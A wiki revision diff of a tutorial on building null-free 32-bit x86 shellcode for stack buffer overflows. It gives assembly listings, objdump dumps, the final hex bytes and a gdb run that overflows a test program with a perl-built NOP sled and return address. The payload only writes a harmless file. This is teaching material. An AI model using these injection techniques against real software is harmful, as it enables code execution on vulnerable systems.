Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "Deprecated:Null-free shellcode"

From NetSec
Jump to: navigation, search
(Introduction)
 
(71 intermediate revisions by 6 users not shown)
Line 1: Line 1:
 +
[[Category:Deprecated]]
 +
{{info|<center>Null-free [[shellcode]] is a beginner-type shellcode used for [[exploitation]] of the '''executable stack''' during a [[buffer overflow]] attack.</center>}}{{prereq|[[assembly|assembly basics]], 32-bit [[linux assembly]], and [[buffer overflow]]s}}
 +
 
== Introduction ==
 
== Introduction ==
 +
A [[buffer overflow]] is when a user mistakenly or not inputs more data then a buffer is meant to contain and without any proper bounds checking the program forces everything put into the buffer, overwriting various assembly registers. The purpose of this attack is to fit shellcode inside the buffer along with enough NOPS to allow the return pointer (eventually %eip or %rip) to be overwritten. When the [[return address]] is successfully overwritten, the program can then be forced to execute the code on it's stack -- forcing the processor to bend to the will of an attacker.
  
Before someone can successfully create shellcode to use in a buffer overflow attack vector one must familiarize them self with the concept of buffer overflows. A buffer overflow is when a user mistakenly or not inputs more data then a buffer is meant to contain and without any proper bounds checking the program forces everything you put into the buffer overwriting various assembly registers. The purpose of this kind of attack is to fit your shellcode inside the buffer along with enough NOPS to allow you to rewrite the return pointer located in EIP. When you can successfully rewrite the return pointer you can then force the program to start at the beginning of your code on it's stack and make it do what ever you wish.
+
The first step of identifying a [[buffer overflow]] is to check for segmentation faults. This usually is a sure sign of a buffer overflow because the buffer is breached, allowing the return address to be overwritten. When the return address is changed to an address outside the context of the application's ability to access, the application will segfault.
  
The first steps of identifying a buffer over flow is to check for segmentation faults. This usually is a sure sign of a buffer over flow because what is happening is the buffer is filled to its max and then some allowing you to overwrite the return address and when the return address is changed to an address outside the scope of the program it will segfault. You can learn more at
+
== Assembly ==
 +
{{info|In this article 93 byte shellcode for 32 bit x86 architectures will be used that will open a file descriptor and write "this is lol" to a file named "lol" located at "/root/Desktop/".}}
  
the first steps in creating runable shellcode is to first create your exploit in ASM. this will be the allow you to create and mold your exploit into what you need it to do in a simpler state, as in you will not have to worry about pushing hex strings or removing null bytes quite yet.
+
The first step in creating working shellcode is to first create it in [[assembly]]. This will be the starting blocks that will allow development and molding of the [[machine code]] into anything desired without having to worry about design and null-bytes at first.
 
+
in this article we will be using a 93 byte shellcode that will open a file discriptor and write "this is lol" to a file named "lol" located at /root/Desktop/.
+
  
 +
Create the data segment containing a variable called file, with an ascii string value of "/root/Desktop/lol".
 +
{{code|text=
 +
<source lang="asm">
 
.section .data
 
.section .data
 
file:
 
file:
.ascii "/root/Desktop/lol"  #our file desitination
+
.ascii "/root/Desktop/lol"   
 +
</source>
 +
}}
  
 +
Initialize the code (.text) segment and move the function number (see: [[syscall table]]) for open() into eax:
 +
{{code|text=
 +
<source lang="asm">
 
.section .text
 
.section .text
 
 
.global _start:
 
.global _start:
  
 
_start:
 
_start:
  
movl $5, %eax               #move open() to eax
+
movl $5, %eax        
movl $file, %ebx            #move file destination
+
</source>
movl $03101, %ecx            #some file options
+
}}
movl $0666, %edx            #some file permisions
+
int $0x80                    #send interupt to obtain a file distriptor
+
  
movl %eax, %ebx             #move the file discriptor to ebx for the write() call
+
Move the a pointer to the file constant into ebx.
movl $4, %eax               #move the write() call to eax
+
{{code|text=
 +
<source lang="asm">
 +
movl $file, %ebx  
 +
</source>
 +
}}
 +
 
 +
File options moved into ecx
 +
{{code|text=
 +
<source lang="asm">
 +
movl $03101, %ecx
 +
</source>
 +
}}
 +
 
 +
File permissions (rwrwrw) for /root/Desktop/lol
 +
{{code|text=
 +
<source lang="asm">
 +
movl $0666, %edx 
 +
</source>
 +
}}
 +
 
 +
Send an interrupt to get the file descriptor
 +
{{code|text=
 +
<source lang="asm">
 +
int $0x80
 +
</source>
 +
}}
 +
 
 +
Move the file descriptor to ebx for the write() call.
 +
{{code|text=
 +
<source lang="asm">
 +
movl %eax, %ebx
 +
</source>
 +
}}
 +
 
 +
Move the call to write() into eax
 +
{{code|text=
 +
<source lang="asm">
 +
movl $4, %eax 
 +
</source>
 +
}}
 +
 
 +
Push 'this is lol\0' backwards onto the stack to be written
 +
{{code|text=
 +
<source lang="asm">
 
pushl $0x006c6f6c
 
pushl $0x006c6f6c
 
pushl $0x20736920
 
pushl $0x20736920
pushl $0x73696874           #push 'this is lol\0' backwards onto the stack to be written
+
pushl $0x73696874        
movl %esp, %ecx              #move the pointer to the begining of our text to be written
+
</source>
movl $12, %edx              #move the size of the text to be written
+
}}
int $0x80                    #write the text to the file
+
  
movl $1, %eax                #move exit() to eax
+
Move the pointer to the beginning if the text to be written.
movl $5, %edx                #move the return value of 5 to edx
+
{{code|text=
int $0x80                    #exit
+
<source lang="asm">
 +
movl %esp, %ecx 
 +
</source>
 +
}}
  
 +
move the size of the text to be written into edx.
 +
{{code|text=
 +
<source lang="asm">
 +
movl $12, %edx
 +
</source>
 +
}}
  
here is our basic ASM exploit we will be using. as you can see it is very simple and stright forward so far, but lets look at our objdump to see what we have to change.
+
write the text to $file.
 +
{{code|text=
 +
<source lang="asm">
 +
int $0x80
 +
</source>
 +
}}
 +
move exit() to eax.
 +
{{code|text=
 +
<source lang="asm">
 +
movl $1, %eax 
 +
</source>
 +
}}
 +
 
 +
move the return value of 5 to edx.
 +
{{code|text=
 +
<source lang="asm">
 +
movl $5, %edx
 +
</source>
 +
}}
 +
 
 +
exit.
 +
{{code|text=
 +
<source lang="asm">
 +
int $0x80 
 +
</source>
 +
}}
 +
 
 +
 
 +
 
 +
 
 +
{{code|text=<source lang="asm">
 +
.section .data
 +
file:
 +
.ascii "/root/Desktop/lol" 
 +
 
 +
.section .text
 +
 
 +
.global _start:
 +
 
 +
_start:
 +
 
 +
movl $5, %eax               
 +
movl $file, %ebx           
 +
movl $03101, %ecx         
 +
movl $0666, %edx           
 +
int $0x80                   
 +
 
 +
movl %eax, %ebx             
 +
movl $4, %eax               
 +
pushl $0x006c6f6c
 +
pushl $0x20736920
 +
pushl $0x73696874           
 +
movl %esp, %ecx             
 +
movl $12, %edx             
 +
int $0x80                   
  
root@ducks:~/Desktop# objdump -d p2.o
+
movl $1, %eax               
 +
movl $5, %edx               
 +
int $0x80                    </source>}}
  
p2.o:    file format elf32-i386
 
  
 +
Here is the basic assembly program that turns into the payload shellcode during the buffer overflow exploit. It is easily manageable and changeable in its current state. This is the stage in which all the design choices should be made. After the payload is created, run it through objdump to take a look at its bytecode to see what changes are required.
  
Disassembly of section .text:
 
  
00000000 <_start>:
+
  root@ducks:~/Desktop# objdump -d p2.o
 +
  p2.o:    file format elf32-i386
 +
  Disassembly of section .text:
 +
  00000000 <_start>:
 
   0:  b8 05 00 00 00          mov    $0x5,%eax
 
   0:  b8 05 00 00 00          mov    $0x5,%eax
 
   5:  bb 00 00 00 00          mov    $0x0,%ebx
 
   5:  bb 00 00 00 00          mov    $0x0,%ebx
Line 66: Line 183:
 
   3f:  cd 80                  int    $0x80
 
   3f:  cd 80                  int    $0x80
  
as you can see this exploit is riddled with nullbytes and varrious other errors. the reason why nullbytes are bad for shellcode exploits is because as the program reads through the stack if it encounters a nullbyte it will hult execution and will not execute the rest of your code. another error in this code is that we have our destination in the .data section which will not work when we go to exploit another application because it will not be declared in our targets memory.
+
== Conversion to shellcode ==
 +
The above assembly will not work when [[buffer overflow|smashing the stack]], for two reasons:
  
so lets try to fix some of our problems.
+
* '''This program is riddled with null-bytes; these are a shellcode's worst enemy!'''
 
+
Null-bytes are used as string terminators in the [[C]] programming language, and functions such as '''strcpy()''' and other string manipulation functions use them as markers to end their copy loops.  When a null-byte is encountered, copying stops - preventing the target buffer from overflowing. 
 +
 
 +
* '''Arguments are defined in the .data section, this is unstable when crafting shellcode.'''
 +
The write path in which the file is to be written to is stored in static memory in the .data section. The reason this is bad design is because the target will not have this string or label in its memory, so the shellcode will most likely cause a segmentation fault and crash the target.
 +
 
 +
{{info|<center>Design changes will need to be made as well as instruction changes in order to remove the nullbytes and fix the string argument problem.</center>}}
 +
=== String argument ===
 +
In this new example, instead of depending on the static definition of the destination path in the .data section, the entire null-terminated string is pushed onto the stack backwards.  Then, the stack pointer is moved into the appropriate argument register. The reason the design was changed is so that when the targets buffer is exploited, the path will now be on the stack so it can be accessed, rather than at an arbitrary label location. Another change is that all the registers that will be used have been zeroed out. It is impossible to predict a register's value at the time of exploitation, thus it is better off to zero them out when started.{{code|text=<source lang="asm">
 
_start:
 
_start:
  
Line 75: Line 200:
 
xorl %ebx, %ebx
 
xorl %ebx, %ebx
 
xorl %ecx, %ecx
 
xorl %ecx, %ecx
xorl %edx, %edx              #xor all our registers to zero them
+
xorl %edx, %edx              #xor all the registers to zero them
 
+
  
 
movl $5, %eax                #move open() to eax
 
movl $5, %eax                #move open() to eax
Line 83: Line 207:
 
pushl $0x6f746b73
 
pushl $0x6f746b73
 
pushl $0x65442f74
 
pushl $0x65442f74
pushl $0x6f6f722f            #push our writing destination backwards in hex onto the stack
+
pushl $0x6f6f722f            #push the writing destination backwards in hex onto the stack
movl %esp, %ebx              #move the pointer to the top of our stack to ebx
+
movl %esp, %ebx              #move the pointer to the top of the stack to ebx
 
movl $03101, %ecx            #some file options
 
movl $03101, %ecx            #some file options
movl $0666, %edx            #some file permisions
+
movl $0666, %edx            #some file permissions
int $0x80                    #send interupt to obtain a file distriptor
+
int $0x80                    #send interrupt to obtain a file descriptor
  
movl %eax, %ebx              #move the file discriptor to ebx for the write() call
+
movl %eax, %ebx              #move the file descriptor to ebx for the write() call
 
movl $4, %eax                #move the write() call to eax
 
movl $4, %eax                #move the write() call to eax
 
pushl $0x006c6f6c
 
pushl $0x006c6f6c
 
pushl $0x20736920
 
pushl $0x20736920
 
pushl $0x73696874            #push 'this is lol\0' backwards onto the stack to be written
 
pushl $0x73696874            #push 'this is lol\0' backwards onto the stack to be written
movl %esp, %ecx              #move the pointer to the begining of our text to be written
+
movl %esp, %ecx              #move the pointer to the beginning of the text to be written
 
movl $12, %edx              #move the size of the text to be written
 
movl $12, %edx              #move the size of the text to be written
 
int $0x80                    #write the text
 
int $0x80                    #write the text
Line 101: Line 225:
 
movl $5, %edx                #move the return value of 5 to edx
 
movl $5, %edx                #move the return value of 5 to edx
 
int $0x80                    #exit
 
int $0x80                    #exit
 +
</source>}}
  
here you can see that instead of depending on our static definition of our destination file in the .data section we've pushed the entire string onto the stack which we then pointed to. the reason we did this is because since the destination will be on our targets stack we will be able to access it unlike before. another new change is that we zerod out all our registers we will be using. we did this because you can never tell what a register is set to at the time of exploitation so it is better off to zero them out when you start.
+
* Create a new objdump of the new code to see what else needs to be fixed:
 
+
  root@ducks:~/Desktop# objdump -d p2.o
lets create a new objdump to see what we have to fix now.
+
  p2.o:    file format elf32-i386
 
+
  Disassembly of section .text:
root@ducks:~/Desktop# objdump -d p2.o
+
  00000000 <_start>:
 
+
p2.o:    file format elf32-i386
+
 
+
 
+
Disassembly of section .text:
+
 
+
00000000 <_start>:
+
 
   0:  31 c0                  xor    %eax,%eax
 
   0:  31 c0                  xor    %eax,%eax
 
   2:  31 db                  xor    %ebx,%ebx
 
   2:  31 db                  xor    %ebx,%ebx
Line 140: Line 258:
 
   5a:  cd 80                  int    $0x80
 
   5a:  cd 80                  int    $0x80
  
as you see now we still have allot of null bytes to remove from our code. removing them can be as easy as changing the instruction in most cases, but in others such as our hex strings which need to be null terminated we have to do more complicated work arounds.
 
 
 
.section .data
 
  
.section .text
+
There still are a lot of nullbytes to remove from the code. Removing these can be as easy as changing the instruction in most cases, but in others, such as the hex strings which have to be null terminated, a more complicated work around will need to be implemented.
 +
 
 +
=== Null-byte removal ===
 +
This code has now been heavily modified from the original to make it smaller in size, run faster, and remove null bytes. There are some complicated techniques used here that will help bypass the use of nullbytes such as xor,  and shift-left or shift-right to put null-bytes back into a string while in memory. An easier technique, which is not shown, is to zero out a register and push it onto the stack to insert your nullbyte then push your hex strings onto the stack. This allows you to easily add a nullbyte without the need for doing any hexadecimal math. Some of the main techniques used here to remove nullbytes are relatively simple simply because the coder is just changing an instruction. An example is before we were using the instruction movl for moving our single byte. This would cause nullbyte padding to be added because the movl instruction moves 4 bytes of data instead of the single byte we needed. To fix this all that needed to be done was to either use the movb instruction or use a push/pop combo, which is highly preferred because when you craft your shellcode correctly it can be converted into an ascii string called [[ascii_shellcode]] which allows you to bypass certain filters. Another method is to move our string along with a useless byte of data and shift everything to the right by 1 byte, because of this the useless byte we padded our string with on the right will be knocked off and a new nullbyte will be added on the left of our hex string in memory. Using these techniques allows the shellcode to have no nullbytes, priming it for successful exploitation. 
  
.global _start
 
  
 +
* First, zero out the ecx and edx registers.
 +
{{code|text=<source lang="asm">
 
_start:
 
_start:
  
 
xorl %ecx, %ecx
 
xorl %ecx, %ecx
xorl %edx, %edx        #use xor to zero out our registers (removed some we didnt need)
+
xorl %edx, %edx        #use xor to zero out the registers (removed some not required)
 +
</source>}}
  
 +
* This is used in stead of movl because it does not generate a null byte. 
 +
{{code|text=<source lang="asm">
 
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
 
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
 
pop %eax                #pop that value into eax
 
pop %eax                #pop that value into eax
push $0x6c              #push part of our file desitnation as a byte to remove padding
+
</source>}}
 +
 
 +
* Push the file destination string to the stack.  A pushb is used to ensure that a null byte is read at the end of the string, but is not within the shellcode.
 +
{{code|text=<source lang="asm">
 +
pushb $0x6c              #push part of the file destination as a byte to remove padding
 
pushl $0x6f6c2f70
 
pushl $0x6f6c2f70
 
pushl $0x6f746b73
 
pushl $0x6f746b73
Line 161: Line 287:
 
pushl $0x6f6f722f
 
pushl $0x6f6f722f
 
movl %esp, %ebx        #move out stack pointer
 
movl %esp, %ebx        #move out stack pointer
xorw $0x0641, %cx      #xor our file options as a word into ecx (ecx is 0 so ecx value would be 641)
+
</source>}}
xorw $0x01b6, %dx      #xor our file permisions as a word into edx (ecx is 0 so edx value would be 1b6)
+
 
                         #by using this method of xoring out our nullbytes we can reduce code size as well
+
* Using sub-registers the same size as the arguments, use xor to place the appropriate values into %ecx and %edx (after they've been zeroed out). 
#as remove the null bytes
+
{{code|text=<source lang="asm">
 +
xorw $0x0641, %cx      #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641)
 +
xorw $0x01b6, %dx      #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
 +
                         #by using this method of xoring out the nullbytes code size can be reduced as well
 +
#as remove the null bytes
 
int $0x80              #execute open()
 
int $0x80              #execute open()
  
movl %eax, %ebx        #move our file handle into ebx for write()
+
</source>}}
 +
 
 +
* Moving the file descriptor handle into its register along with moving part of our string onto the stack and back into a register for modification. The string does not have a nullbyte until we shift it to the right by 8 bits (1 byte) bumping off the 0x6a and padding it with a 0x00 on the left.
 +
{{code|text=<source lang="asm">
 +
movl %eax, %ebx        #move the file handle into ebx for write()
 
push $0x04              #push 0x04
 
push $0x04              #push 0x04
 
pop %eax                #pop it into eax for use in write()
 
pop %eax                #pop it into eax for use in write()
pushl $0x6c6f6c6a      #push part of our null terminated hex string onto the stack
+
pushl $0x6c6f6c6a      #push part of the null terminated hex string onto the stack
 
pop %ecx                #pop it into ecx for modification
 
pop %ecx                #pop it into ecx for modification
 
shr $0x08, %ecx        #shift it to the right by 0x08 to put the nullbyte back into the string without
 
shr $0x08, %ecx        #shift it to the right by 0x08 to put the nullbyte back into the string without
                         #having it directly in our code
+
                         #having it directly in the code
pushl %ecx              #push our modified string back onto the stack
+
</source>}}
 +
 
 +
* Pushing our nulled string onto the stack along with the rest of our string. The stack pointer to our string is also moved into a register for use.
 +
{{code|text=<source lang="asm">
 +
pushl %ecx              #push the modified string back onto the stack
 
pushl $0x20736920
 
pushl $0x20736920
 
pushl $0x73696874
 
pushl $0x73696874
movl %esp, %ecx        #move our stack pointer to ecx
+
movl %esp, %ecx        #move the stack pointer to ecx
push $0xb              #push our size of our stack in hex  
+
</source>}}
pop %edx                #pop it back into the propor register
+
 
pushl %ebx              #push our file discirptor onto the stack for the next funtion
+
* Set the size of the string and move it into its register. Save the file descriptor for use later on and execute the system interrupt.
 +
{{code|text=<source lang="asm">
 +
push $0xb              #push the size of the stack in hex  
 +
pop %edx                #pop it back into the proper register
 +
pushl %ebx              #push the file descriptor onto the stack for the next function
 
int $0x80              #write the file
 
int $0x80              #write the file
 +
</source>}}
  
pop %ebx                #get our file discriptor back
+
* Retrieve our file descriptor from the stack and execute a close() system call on the file.
 +
{{code|text=<source lang="asm">
 +
pop %ebx                #get the file descriptor back
 
push $0x06              #push 0x06 to the stack
 
push $0x06              #push 0x06 to the stack
 
pop %eax                #pop it into eax for close()
 
pop %eax                #pop it into eax for close()
int $0x80              #close our file
+
int $0x80              #close the file
 +
</source>}}
  
 +
* Exit the program with a return value of 5.
 +
{{code|text=<source lang="asm">
 
push $0x01              #push exit() onto the stack
 
push $0x01              #push exit() onto the stack
pop %eax                #and put it in our register
+
pop %eax                #and put it in the register
push $0x05              #push our return value of 5
+
push $0x05              #push the return value of 5
 
pop %ebx                #and put it in ebx
 
pop %ebx                #and put it in ebx
 
int $0x80              #and exit
 
int $0x80              #and exit
 +
</source>}}
  
now this code is heavily modified to make it smaller in size, run faster, and to have no null bytes. there are some techniques used here that help you bypass the use of nullbytes such as xoring them out or using shift-left or shift-right to put them back in inside the memory. using these techniques allows our shellcode to have no null bytes and to run flawlessly inside our targets stack.
+
{{code|text=<source lang="asm">
 +
_start:
  
its time to do a final objdump to make sure we got rid of all our nullbytes and to make sure everything is ok with our code.
+
xorl %ecx, %ecx
 +
xorl %edx, %edx        #use xor to zero out the registers (removed some not required)
  
root@ducks:~/Desktop# objdump -d p2.o
+
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
 +
pop %eax                #pop that value into eax
 +
push $0x6c              #push part of the file destination as a byte to remove padding
 +
pushl $0x6f6c2f70
 +
pushl $0x6f746b73
 +
pushl $0x65442f74
 +
pushl $0x6f6f722f
 +
movl %esp, %ebx        #move out stack pointer
 +
xorw $0x0641, %cx      #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641)
 +
xorw $0x01b6, %dx      #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
 +
                        #by using this method of xoring out the nullbytes code size can be reduced as well
 +
#as remove the null bytes
 +
int $0x80              #execute open()
  
p2.o:    file format elf32-i386
+
movl %eax, %ebx        #move the file handle into ebx for write()
 +
push $0x04              #push 0x04
 +
pop %eax                #pop it into eax for use in write()
 +
pushl $0x6c6f6c6a      #push part of the null terminated hex string onto the stack
 +
pop %ecx                #pop it into ecx for modification
 +
shr $0x08, %ecx        #shift it to the right by 0x08 to put the nullbyte back into the string without
 +
                        #having it directly in the code
 +
pushl %ecx              #push the modified string back onto the stack
 +
pushl $0x20736920
 +
pushl $0x73696874
 +
movl %esp, %ecx        #move the stack pointer to ecx
 +
push $0xb              #push the size of the stack in hex
 +
pop %edx                #pop it back into the proper register
 +
pushl %ebx              #push the file descriptor onto the stack for the next function
 +
int $0x80              #write the file
 +
 
 +
pop %ebx                #get the file descriptor back
 +
push $0x06              #push 0x06 to the stack
 +
pop %eax                #pop it into eax for close()
 +
int $0x80              #close the file
 +
 
 +
push $0x01              #push exit() onto the stack
 +
pop %eax                #and put it in the register
 +
push $0x05              #push the return value of 5
 +
pop %ebx                #and put it in ebx
 +
int $0x80              #and exit
 +
</source>}}
  
  
Disassembly of section .text:
+
It is time to do a final objdump to make sure all the nullbytes are gone and to make sure everything else is ok with the code. It will also give the final bytecode dump that will be cleaned up to produce a functioning shellcode.
  
00000000 <_start>:
+
  root@ducks:~/Desktop# objdump -d p2.o
 +
  p2.o:    file format elf32-i386
 +
  Disassembly of section .text:
 +
  00000000 <_start>:
 
   0:  31 c9                  xor    %ecx,%ecx
 
   0:  31 c9                  xor    %ecx,%ecx
 
   2:  31 d2                  xor    %edx,%edx
 
   2:  31 d2                  xor    %edx,%edx
Line 243: Line 435:
 
   5b:  cd 80                  int    $0x80
 
   5b:  cd 80                  int    $0x80
 
    
 
    
  everything looks okay so lets clean this objdump up and turn it into some shellcode.
+
 
 +
Everything appears to look okay so clean this objdump up and turn it into some real shellcode by removing all excess data except for the bytecode. Once the line markets and assembly instructions have been stripped away, add "\x" in front of every byte instruction like so.
 
    
 
    
\x31\xc9\x31\xd2\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80
+
* This is what the final shellcode will look like. It is 93 bytes long, and writes a file named "lol" to the desktop of /root/ and exits with the return value of 5.
 
+
\x31\xc9\x31\xd2\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58
this shell code is 93 bytes and writes a file to the desktop of /root/ and exits with the return value of 5. to use this shellcode you can use either perl or ruby to write it to the buffer of our test program along with the right nop padding and the return address like so.
+
\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80
 
+
== Successful Overflow Test ==
+
{{info|This [[shellcode]] was tested on [[Buffer_Overflows#bof.c|bof.c]].}}
+
 
+
root@bt:~/Desktop# gdb -q ./bof
+
  
Reading symbols from /root/Desktop/bof...done.
+
== Successful overflow test ==
 +
* This shellcode was tested using [[buffer overflow#bof.c|bof.c]] on a 32-bit system.
 +
To use this shellcode either use perl or ruby to aid in adding the correct number of NOPS for the buffer at hand. In this case, a 100 byte buffer with EIP located at 116 is being used. So that means that the shellcode should be subtracted from 116 which is 23 and then minus 4 for the return address which is 19. That means the shellcode must be padded with 19 NOPS in order for the return address to overwrite the EIP of the targets buffer.
  
(gdb) r "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"
 
  
Starting program: /root/Desktop/bof "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"
+
  root@ducks:~/Desktop# gdb -q ./bof
 +
  Reading symbols from /root/Desktop/bof...done.
 +
  (gdb) r "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"
 +
  Starting program: /root/Desktop/bof "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"
 +
  Program exited with code 05.
 +
  (gdb)
  
Program exited with code 05.
 
(gdb)
 
  
be aware that you need the extra double quotations around the whole commad or else perl will output \x20 as whitespace and your shellcode will be devided up and will break.
+
{{warning|When using perl or ruby to test this shellcode with an exploit from the command-line, it requires double quotations around the entire command, or it will output \x20 as a whitespace character and the shellcode will be divided up as separate command-line arguments, preventing the buffer from [[buffer overflow|overflowing]].}}

Latest revision as of 20:18, 15 May 2013

c3el4.png
Null-free shellcode is a beginner-type shellcode used for exploitation of the executable stack during a buffer overflow attack.
Deprecated:Null-free shellcode requires a basic understanding of assembly basics, 32-bit linux assembly, and buffer overflows


Introduction

A buffer overflow is when a user mistakenly or not inputs more data then a buffer is meant to contain and without any proper bounds checking the program forces everything put into the buffer, overwriting various assembly registers. The purpose of this attack is to fit shellcode inside the buffer along with enough NOPS to allow the return pointer (eventually %eip or %rip) to be overwritten. When the return address is successfully overwritten, the program can then be forced to execute the code on it's stack -- forcing the processor to bend to the will of an attacker.

The first step of identifying a buffer overflow is to check for segmentation faults. This usually is a sure sign of a buffer overflow because the buffer is breached, allowing the return address to be overwritten. When the return address is changed to an address outside the context of the application's ability to access, the application will segfault.

Assembly

c3el4.png In this article 93 byte shellcode for 32 bit x86 architectures will be used that will open a file descriptor and write "this is lol" to a file named "lol" located at "/root/Desktop/".

The first step in creating working shellcode is to first create it in assembly. This will be the starting blocks that will allow development and molding of the machine code into anything desired without having to worry about design and null-bytes at first.

Create the data segment containing a variable called file, with an ascii string value of "/root/Desktop/lol".

 
.section .data
file:
.ascii "/root/Desktop/lol"   
 

Initialize the code (.text) segment and move the function number (see: syscall table) for open() into eax:

 
.section .text
.global _start:
 
_start:
 
movl $5, %eax          
 

Move the a pointer to the file constant into ebx.

 
movl $file, %ebx 
 

File options moved into ecx

 
movl $03101, %ecx 
 

File permissions (rwrwrw) for /root/Desktop/lol

 
movl $0666, %edx  
 

Send an interrupt to get the file descriptor

 
int $0x80
 

Move the file descriptor to ebx for the write() call.

 
movl %eax, %ebx
 

Move the call to write() into eax

 
movl $4, %eax  
 

Push 'this is lol\0' backwards onto the stack to be written

 
pushl $0x006c6f6c
pushl $0x20736920
pushl $0x73696874          
 

Move the pointer to the beginning if the text to be written.

 
movl %esp, %ecx  
 

move the size of the text to be written into edx.

 
movl $12, %edx
 

write the text to $file.

 
int $0x80 
 

move exit() to eax.

 
movl $1, %eax   
 

move the return value of 5 to edx.

 
movl $5, %edx 
 

exit.

 
int $0x80   
 



 
.section .data
file:
.ascii "/root/Desktop/lol"   
 
.section .text
 
.global _start:
 
_start:
 
movl $5, %eax                
movl $file, %ebx            
movl $03101, %ecx          
movl $0666, %edx             
int $0x80                    
 
movl %eax, %ebx              
movl $4, %eax                
pushl $0x006c6f6c
pushl $0x20736920
pushl $0x73696874            
movl %esp, %ecx              
movl $12, %edx               
int $0x80                    
 
movl $1, %eax                
movl $5, %edx                
int $0x80                    


Here is the basic assembly program that turns into the payload shellcode during the buffer overflow exploit. It is easily manageable and changeable in its current state. This is the stage in which all the design choices should be made. After the payload is created, run it through objdump to take a look at its bytecode to see what changes are required.


 root@ducks:~/Desktop# objdump -d p2.o
 p2.o:     file format elf32-i386
 Disassembly of section .text:
 00000000 <_start>:
  0:   b8 05 00 00 00          mov    $0x5,%eax
  5:   bb 00 00 00 00          mov    $0x0,%ebx
  a:   b9 41 06 00 00          mov    $0x641,%ecx
  f:   ba b6 01 00 00          mov    $0x1b6,%edx
 14:   cd 80                   int    $0x80
 16:   89 c3                   mov    %eax,%ebx
 18:   b8 04 00 00 00          mov    $0x4,%eax
 1d:   68 6c 6f 6c 00          push   $0x6c6f6c
 22:   68 20 69 73 20          push   $0x20736920
 27:   68 74 68 69 73          push   $0x73696874
 2c:   89 e1                   mov    %esp,%ecx
 2e:   ba 0c 00 00 00          mov    $0xc,%edx
 33:   cd 80                   int    $0x80
 35:   b8 01 00 00 00          mov    $0x1,%eax
 3a:   ba 05 00 00 00          mov    $0x5,%edx
 3f:   cd 80                   int    $0x80

Conversion to shellcode

The above assembly will not work when smashing the stack, for two reasons:

  • This program is riddled with null-bytes; these are a shellcode's worst enemy!

